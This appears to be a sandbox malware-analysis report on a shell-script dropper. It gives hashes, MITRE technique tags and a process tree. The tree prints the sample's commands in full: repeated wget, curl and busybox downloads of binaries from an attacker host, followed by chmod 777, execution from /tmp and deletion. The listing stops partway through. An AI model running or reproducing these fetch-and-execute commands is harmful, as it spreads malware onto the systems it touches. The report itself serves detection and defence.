3504273f491e3e643d705e6e1223a99b8657c8926af97b78d74640822a50d595

Analysis

max time kernel
95s
max time network
97s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
08/11/2024, 02:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3504273f491e3e643d705e6e1223a99b8657c8926af97b78d74640822a50d595.sh
Size 10KB
Sample241108-cxv7datbnp
SHA256 3504273f491e3e643d705e6e1223a99b8657c8926af97b78d74640822a50d595
MD5 d827b7941f17ddeb6118356e303be6ae
SHA1 15f9e9c418f7dd5e1dfc43e94219d4f7d03e00ed
SHA512 99f1be32503db24dd7e4b47d0abeb76e3d65a0fd49764979d2b0a7372e0a42b46990f7f2eb6e0fc7f8de5f5e8e7eeb5d40faebc588939f0fbd82e4fede7013be
SSDEEP 192:Y3ZrNkcXbH0stE03Wy8QQRrDyJt3rDyJtlrZrNk6bHWE03WyC:WjXbH0stE03Wy8QQRrDyJt3rDyJtD/bD
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
853	chmod
860	chmod
888	chmod
951	chmod
1000	chmod
832	chmod
839	chmod
874	chmod
916	chmod
972	chmod
993	chmod
846	chmod
937	chmod
958	chmod
825	chmod
867	chmod
902	chmod
923	chmod
760	chmod
930	chmod
815	chmod
881	chmod
895	chmod
909	chmod
965	chmod
986	chmod
944	chmod
979	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
804	curl
835	wget
908	busybox
814	busybox
843	curl
857	curl
866	busybox
915	busybox
870	wget
905	wget
934	curl
943	busybox
950	busybox
964	busybox
990	curl
818	wget
831	busybox
887	busybox
894	busybox
954	wget
957	busybox
850	curl
880	busybox
898	wget
933	wget
948	curl
962	curl
821	busybox
845	busybox
878	curl
885	curl
941	curl
947	wget
996	wget
842	wget
873	busybox
891	wget
912	wget
922	busybox
997	curl
836	curl
877	wget
978	busybox
992	busybox
733	curl
819	curl
828	wget
892	curl
971	busybox
982	wget
985	busybox
708	wget
849	wget
901	busybox
919	wget
926	wget
749	busybox
838	busybox
864	curl
863	wget
906	curl
920	curl
927	curl
936	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	curl
File opened for modification	/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	curl
File opened for modification	/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	curl
File opened for modification	/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	curl
File opened for modification	/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	curl
File opened for modification	/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	curl
File opened for modification	/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	curl
File opened for modification	/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	curl
File opened for modification	/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	curl
File opened for modification	/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	curl
File opened for modification	/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	curl
File opened for modification	/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	curl
File opened for modification	/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	curl
File opened for modification	/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	curl
File opened for modification	/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	curl
File opened for modification	/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	curl
File opened for modification	/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	curl
File opened for modification	/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	curl
File opened for modification	/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	curl
File opened for modification	/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	curl
File opened for modification	/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	curl
File opened for modification	/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	curl
File opened for modification	/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	curl
File opened for modification	/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	curl
File opened for modification	/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	curl
File opened for modification	/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	curl
File opened for modification	/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	curl
File opened for modification	/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	curl

/tmp/3504273f491e3e643d705e6e1223a99b8657c8926af97b78d74640822a50d595.sh
/tmp/3504273f491e3e643d705e6e1223a99b8657c8926af97b78d74640822a50d595.sh
1⤵
PID:700
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - System Network Configuration Discovery
  PID:708
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - System Network Configuration Discovery
  PID:749
- /bin/chmod
  chmod 777 yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  ./yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:766
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - System Network Configuration Discovery
  PID:814
- /bin/chmod
  chmod 777 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  ./43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:817
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - System Network Configuration Discovery
  PID:818
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - System Network Configuration Discovery
  PID:821
- /bin/chmod
  chmod 777 z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  ./z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:827
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - System Network Configuration Discovery
  PID:828
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - System Network Configuration Discovery
  PID:831
- /bin/chmod
  chmod 777 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  ./7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:834
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - System Network Configuration Discovery
  PID:835
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - System Network Configuration Discovery
  PID:838
- /bin/chmod
  chmod 777 MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  ./MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:841
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - System Network Configuration Discovery
  PID:842
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - System Network Configuration Discovery
  PID:845
- /bin/chmod
  chmod 777 wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  ./wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Executes dropped EXE
  PID:847
- /bin/rm
  rm wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  PID:848
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - System Network Configuration Discovery
  PID:849
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:852
- /bin/chmod
  chmod 777 yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  ./yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:859
- /bin/chmod
  chmod 777 gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  ./gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - System Network Configuration Discovery
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - System Network Configuration Discovery
  PID:866
- /bin/chmod
  chmod 777 RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  ./RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:869
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - System Network Configuration Discovery
  PID:870
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - System Network Configuration Discovery
  PID:873
- /bin/chmod
  chmod 777 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  ./5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:876
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - System Network Configuration Discovery
  PID:877
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - System Network Configuration Discovery
  PID:880
- /bin/chmod
  chmod 777 ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  ./ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:883
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - System Network Configuration Discovery
  PID:887
- /bin/chmod
  chmod 777 hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  ./hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:890
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - System Network Configuration Discovery
  PID:891
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - System Network Configuration Discovery
  PID:894
- /bin/chmod
  chmod 777 kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  ./kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:897
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - System Network Configuration Discovery
  PID:898
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - System Network Configuration Discovery
  PID:901
- /bin/chmod
  chmod 777 fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  ./fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:904
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/chmod
  chmod 777 kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  ./kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
  2⤵
  PID:911
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - System Network Configuration Discovery
  PID:915
- /bin/chmod
  chmod 777 fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  ./fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
  2⤵
  PID:918
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - System Network Configuration Discovery
  PID:919
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - System Network Configuration Discovery
  PID:922
- /bin/chmod
  chmod 777 hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  ./hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
  2⤵
  PID:925
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - System Network Configuration Discovery
  PID:926
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:929
- /bin/chmod
  chmod 777 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  ./43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm 43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
  2⤵
  PID:932
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - System Network Configuration Discovery
  PID:933
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - System Network Configuration Discovery
  PID:936
- /bin/chmod
  chmod 777 z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  ./z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
  2⤵
  PID:939
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - System Network Configuration Discovery
  PID:943
- /bin/chmod
  chmod 777 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  ./7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm 7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
  2⤵
  PID:946
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - System Network Configuration Discovery
  PID:947
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - System Network Configuration Discovery
  PID:950
- /bin/chmod
  chmod 777 yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  ./yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
  2⤵
  PID:953
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - System Network Configuration Discovery
  PID:954
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - System Network Configuration Discovery
  PID:957
- /bin/chmod
  chmod 777 wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  ./wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
  2⤵
